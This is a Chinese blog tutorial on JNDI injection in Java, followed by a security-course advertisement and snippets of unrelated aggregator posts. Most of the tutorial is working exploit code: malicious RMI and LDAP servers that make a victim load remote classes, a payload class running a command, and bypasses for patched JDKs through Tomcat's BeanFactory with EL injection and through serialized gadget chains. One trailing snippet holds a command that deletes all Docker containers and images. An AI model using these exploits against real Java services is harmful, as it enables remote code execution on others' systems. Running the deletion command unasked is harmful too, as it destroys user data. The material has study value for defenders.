news 2026/4/16 13:08:28

JNDI注入完全指南:从入门到通晓,收藏这篇就够了!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JNDI注入完全指南:从入门到通晓,收藏这篇就够了!
啥是 JNDI? 听我吹两句!

JNDI,全名 Java Naming and Directory Interface,简单来说,就是 Java 界的“通讯录”。它是个 API,专门为 Java 应用程序提供命名和目录访问服务。你可以把它想象成一个字符串,对应着一个对象,方便你通过名字找到想要的资源。

说得更接地气点,JNDI 就是给资源起个“花名”,然后你喊“花名”就能找到它。

当你需要连接数据库或者调用远程服务时,不用再苦哈哈地记住那些复杂的地址和实现细节,只要知道“花名”,JNDI 就能帮你搞定一切!

举个栗子:

假设你要开发一个 Java 应用,需要连接数据库。有了 JNDI,你就可以用“jdbc/MyDatabase”这个名字来查找数据库连接,而不用在代码里写死数据库地址、用户名和密码。

// 拿到 JNDI 上下文,可以理解为“电话簿” Context context = new InitialContext(); // 查找名字为“jdbc/MyDatabase”的数据库连接,就像查电话簿 DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase"); // 获取数据库连接 Connection connection = dataSource.getConnection();

在这个例子里,“jdbc/MyDatabase”就是你要找的资源,context.lookup("jdbc/MyDatabase")就能帮你拿到数据库连接。

环境搭建: 磨刀不误砍柴工

调试源码时,如果遇到 .class 文件,阅读起来可能会有点痛苦。别慌,我有妙招!

  1. 下载 JDK 源码: 访问 https://hg.openjdk.org/jdk8/jdk8/jdk/archive/tip.zip 下载 JDK 8 的源码。
  2. 导入 IDEA: 打开 IDEA,选择“文件” -> “项目结构” -> “SDK”,在你的 JDK 版本里找到“源路径”,把刚下载的压缩包导入进去。
  3. 重启 IDEA: 搞定!现在就能愉快地阅读 Java 源码啦!
JNDI 核心概念: 名字和目录,一个都不能少
Name(命名): 资源的“身份证”

Name(命名)就是给对象起个独一无二的名字,方便查找和引用。就像给每个人发一张“身份证”,通过名字就能找到对应的人。在 JNDI 里,名字可以用来查找各种资源,比如数据库连接、EJB 组件、文件路径等等。

栗子时间:

你给一个数据库连接起了个名字叫“jdbc/MyDatabase”。以后要用这个连接时,直接通过这个名字查找就行,不用管它藏在哪里或者怎么实现的。

代码示例:

// 创建 JNDI 上下文 Context context = new InitialContext(); // 用名字查找数据库连接 DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase"); // 获取数据库连接 Connection connection = dataSource.getConnection();
Directory(目录): 资源的“豪华档案”

Directory(目录)可不只是个名字那么简单,它还能存储对象的属性信息,就像一个层次结构的命名系统。你可以把 Directory 想象成公司员工的“豪华档案”,里面不仅有名字,还有职位、部门等详细信息。通过名字可以查找,还能按职位、部门等属性进行查询。

栗子时间:

假设你有一个公司员工的目录,每个员工都有名字、职位、部门等属性信息。你可以通过员工的名字查找他们的详细信息,还可以通过职位、部门等属性进行查询。

代码示例:

// 创建 JNDI 上下文 Context context = new InitialContext(); // 查找名字为“cn=John Doe”的员工 Attributes attrs = context.getAttributes("cn=John Doe"); // 获取员工的属性 String title = (String) attrs.get("title").get(); String department = (String) attrs.get("department").get();

JDK 还提供了一些服务接口,比如:

在漏洞利用中,RMI 和 LDAP 这两个“老伙计”出镜率最高!

JNDI 结合 RMI: 远程代码执行的“导火索”

JNDI 结合 RMI 的原理,就是在服务端调用了一个Reference对象。

Reference 类: 对象的“远程遥控器”

Reference 类表示对存在于命名/目录系统以外的对象的引用。简单来说,它就像一个“远程遥控器”,可以控制远端的对象。

Java 为了把 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能。对象可以通过绑定 Reference 存储在 RMI、LDAP 等服务下。

使用 Reference 时,可以直接把对象写在构造方法里。当被调用时,对象的方法就会被触发,搞事情!

几个关键属性:

JNDIRMIServer.java

package org.example.RMI; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class JNDIRMIServer { public interface RemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; } public class RemoteObjImpl extends UnicastRemoteObject implements RMIServer.RemoteObj { public RemoteObjImpl() throws RemoteException { // UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出 } @Override public String sayHello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } } public void start() throws NamingException, RemoteException { //RMI结合 // 1、RMI原生分析 InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); // initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); //2.与RMI结合的JNDI攻击 Reference reference=new Reference("Evil_Class_Name","JNDIEvilCode","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj",reference); } public static void main(String[] args) throws Exception{ new JNDIRMIServer().start(); } }

JNDIRMIClient.java

package org.example.RMI; import javax.naming.InitialContext; import org.example.RMI.RMIServer.RemoteObj; public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }

JNDIEvilCode.java

public class JNDIEvilCode { public JNDIEvilCode() throws Exception { Runtime.getRuntime().exec("calc"); } }

JNDIRMIClient 相当于我们要攻击的服务器,而 JNDIRMIServer 是我们精心设计的恶意服务器。我们将恶意代码 JNDIEvilCode.java 编译后,让恶意服务器去绑定这个恶意代码到注册中心。如果我们需要攻击的服务器的 lookup 中的 name 参数可控,我们就可以让他访问我们绑定的恶意代码,从而造成漏洞。

跟进 lookup 方法,最终会发现调用了 RMI 原生的 lookup 方法,所以 RMI 攻击的方法在这里依然适用。

接着进入 decodeObject 函数

这里 getObjectInstance 方法,从名字就可以判断是一个初始化的方法

在里面通过getObjectFactoryFromReference来调用 reference 里面的 factory

ref.getFactoryClassName()中我们获取到了恶意类的名字,接着在getObjectFactoryFromReference里面我们会去 loadclass 加载它。

这里有两个loadClass(factoryName)

第一次在本地加载恶意类,但是我们攻击的服务器显然不会存在一个有恶意代码的类,所以第一次加载结果为空,第二次会用URLClassLoader加载器来加载我们恶意服务器上 7777 端口开放的恶意代码。

最后 newInstance 初始化这个恶意类来弹出计算器。

这里其实如果我们执行命令的代码放在恶意类的静态代码块,就会在 classload 里面执行,因为我们继续跟进 helper.loadClass 的话,发现最后的 forname 函数第二个参数是 true, 这就表示,加载类的时候会初始化,这里初始化指的不是调用构造函数,而是调用静态代码块。

JNDI 结合 LDAP: 又一个“搞事情”的姿势

LdapServer.java

package org.example.LDAP; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#JNDIEvilCode"; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }

JNDILdapClient.java

package org.example.LDAP; import javax.naming.InitialContext; import org.example.RMI.RMIServer.RemoteObj; // jndi 打 jdk8u191 之前版本的客户端 public class JNDILdapClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }

漏洞触发的流程和 RMI 差不多。官方在 jdk8u121 修复基于 RMI 的 JNDI 注入时,并没有修复基于 LDAP 的 JNDI 注入,直到 jdk8u191 才堵上了这个窟窿。

绕过姿势: 道高一尺,魔高一丈

RMI + JNDI Reference: 防火墙升级

在 JDK 6u141, JDK 7u131, JDK 8u121 中,Java 提升了 JNDI 的安全性,限制了 Naming/Directory 服务中 JNDI Reference 远程加载 Object Factory 类的特性。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase这两个系统属性的默认值变成了 false,意味着默认情况下不允许从远程的 Codebase 加载 Reference 工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider 的远程类加载功能,需要手动将这两个属性值设置为 true。

不过这次更新并没有对 LDAP 做出限制。LDAP 服务的 Reference 远程加载 Factory 类不受上面两个属性的限制,适用范围更广。

LDAP + JNDI Reference: 最后的防线

在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值也被调整为 false,还被分配了一个漏洞编号 CVE-2018-3149。

根据trustURLCodebase的值是否为 true 来进行判断,它的值默认为 false。jdk8u191 之后的版本通过添加trustURLCodebase 的值是否为 true这一判断语句,让我们无法加载 codebase。

绕过 JDK 8u191+ 等高版本: 绝地反击
方法一: 利用本地 Class 作为 Reference Factory: 曲线救国

在 JNDI 结合 RMI 的时候,我们返回的 Reference 可以指定一个 Factory,在 getObjectInstance 函数中实例化我们的恶意 Factory 类造成攻击。但由于高版本的限制,我们无法将 Factory 指定为我们恶意服务器上的恶意 Factory 类。但是,我们仍然可以指定 Factory,只是这个 Factory 类必须来自受害者服务器本地 ClassPath。该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory接口,实现该接口的 getObjectInstance() 方法。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于 Tomcat 依赖包中,所以使用也是非常广泛。

JNDIRMIServer_Rebind.java

package org.example.JNDI_BYPASS; import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; public class JNDIRMIServer_Rebind { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","", true,"org.apache.naming.factory.BeanFactory",null ); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }

JNDIRMIServer_EL.java

package org.example.JNDI_BYPASS; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer_EL { public static void main(String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099"); Registry registry = LocateRegistry.createRegistry( 1099); // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码 ref.add(new StringRefAddr("forceString", "x=eval")); // 利用表达式执行命令 ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager")" + ".newInstance().getEngineByName("JavaScript")" + ".eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")")); System.out.println("[*]Evil command: calc"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("remoteObj", referenceWrapper); } }

JNDIRMIClient.java

package org.example.JNDI_BYPASS; import org.apache.naming.factory.BeanFactory; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.spi.NamingManager; public class JNDIRMIClient { public static void main(String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj"; Context context = new InitialContext(); context.lookup(uri); } }

有两种恶意服务器代码构造方法,我们以第一个为例。

可以将断点打到此处,因为前面的执行逻辑与之前 JNDI+RMI 调用远端恶意代码一致。

getObjectFactoryFromReference这个函数里面,会先本地加载 org.apache.naming.factory.BeanFactory 这个工厂,因为这个工厂就存在于本地,所以无需调用 codebase。然后会实例化这个工厂类,并且会强转成 ObjectFactory 类型,返回给 factory,并且接下来会调用getObjectInstance这个函数,这也是我们为什么说找的本地恶意类需要基础 ObjectFactory 接口并实现 getObjectInstance 函数。

所以接下来我们将进入 BeanFactory.getObjectInstance 这个函数,首先就会判断 obj 是否是 ResourceRef 类的实例,这个 obj 是来自我们从注册表中找到的绑定的 remoteobj,所以我们绑定的时候会绑定一个 ResourceRef 对象。只用进入这个 if 里面的代码,才是 getObjectInstance 执行逻辑,如果进入 else,就会直接返回 null。

initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);

接着,我们会加载 javax.el.ELProcessor 类,并且调用了他的无参构造函数实例化了这个类。所以我们的 bean 就是一个 ELProcessor 对象,而这个是我们命令执行的语句 method.invoke(bean,valueArray) 第一个参数。使我们可控的。从这可以看出,我们需要实例化的类是一个有无参构造函数的类。

接着,我们会去获取开始恶意服务器上绑定的 resourceRef 对象中 addrType 等于 forceString 的 StringRefAddr。这个 StringRefAddr 的 contents 就是我们添加的 x=eval

接着代码会将x=eval拆成 x 和 eval,在第 178 行forced.put(param, beanClass.getMethod(setterName, paramTypes));会获取 javax.el.ELProcessor 的 eval 函数,并且将 x 和 eval 这个函数方法作为键值对放入 forced 这个 HashMap 中。

接下来的 while 循环中,只用当获取的 propName 不等于 scope、auth、forceString、singleton 中任意一个,才能跳出循环,而 propName,就是之前提到的 resourceRef 对象中的 addrType。

很显然当 propName 等于我们绑定 resourceRef 前添加的 x 时跳出循环进行下一步,接着我们就会从 forced 这个 HashMap 取出键等于 propName,也就是等于 x 对应的值,而我们之前是添加了一个 x 对应 javax.el.ELProcessor 的 eval 函数,所以 method 就是这个 eval 函数,接着反射调用这个方法,传入第一个值是之前实例化的 javax.el.ELProcessor 对象,那么就会调用这个实例化 ELProcessor 对象的 eval 函数了,函数参数为 valueArray,是个对象数组,第一个值是我们绑定 resourceRef 前添加的 x 对应的 contents 值,也就是 “Runtime.getRuntime().exec(‘calc’)”。最后 ELProcessor.eval() 会对 EL 表达式进行求值,最终达到命令执行的效果。

方法二: LDAP 返回序列化数据,触发本地 Gadget: 釜底抽薪

LDAP Server 除了使用 JNDI Reference 进行利用之外,还支持直接返回一个对象的序列化数据。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。当然,由于高版本 jdk 不信任远程类加载,我们依然是利用本地的恶意类。假如受害者服务器存在一个有漏洞的 CommonsCollections 库,那么就可以用我们恶意服务器返回序列化数据,是受害者服务器反序列化是触发 cc 链造成攻击。

JNDILDAPServer.java

```java
package org.example.JNDI_BYPASS;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDILDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8000/#EvilObject"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString();

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​
学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本文转自网络如有侵权,请联系删除。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 12:51:46

PC微信小程序wxapkg加密包解密技术深度解析

PC微信小程序wxapkg加密包解密技术深度解析 【免费下载链接】pc_wxapkg_decrypt_python PC微信小程序 wxapkg 解密 项目地址: https://gitcode.com/gh_mirrors/pc/pc_wxapkg_decrypt_python 在微信小程序开发与逆向分析领域,获取原始代码资源是技术研究的关键…

作者头像 李华
网站建设 2026/4/15 3:29:57

如何在3分钟内搭建数字人对话系统:OpenAvatarChat完整指南

如何在3分钟内搭建数字人对话系统:OpenAvatarChat完整指南 【免费下载链接】OpenAvatarChat 项目地址: https://gitcode.com/gh_mirrors/op/OpenAvatarChat 想要快速搭建一个功能完整的数字人对话系统吗?OpenAvatarChat为您提供了一站式解决方案…

作者头像 李华
网站建设 2026/4/9 12:43:44

停止并删除系统上所有docker容器和镜像

谨慎使用:清理系统上所有docker容器和镜像资源,释放空间停止和删除所有容器:docker stop $(docker ps -a -q) && docker rm $(docker ps -a -q)删除所有镜像:docker system prune -a -f --volumes

作者头像 李华
网站建设 2026/4/13 20:45:16

Open-AutoGLM技术内幕曝光(20年架构专家亲述)

第一章:Open-AutoGLM技术起源与核心理念Open-AutoGLM 是在大规模语言模型快速演进的背景下诞生的一项开源项目,旨在构建一个可自主推理、自动工具调用并支持多轮任务分解的智能语言框架。其设计灵感来源于人类认知过程中的“目标-规划-执行”机制&#x…

作者头像 李华
网站建设 2026/4/10 10:56:15

Unity Visual Effect Graph 资源详解

目录 前言 一、什么是 Visual Effect Graph 资源? 二、如何创建 VFX Graph 资源? 三、如何编辑 VFX Graph 资源? 四、VFX 资源的 Inspector 配置详解 1. Fixed Delta Time(固定时间步长) 2. Culling Flags&…

作者头像 李华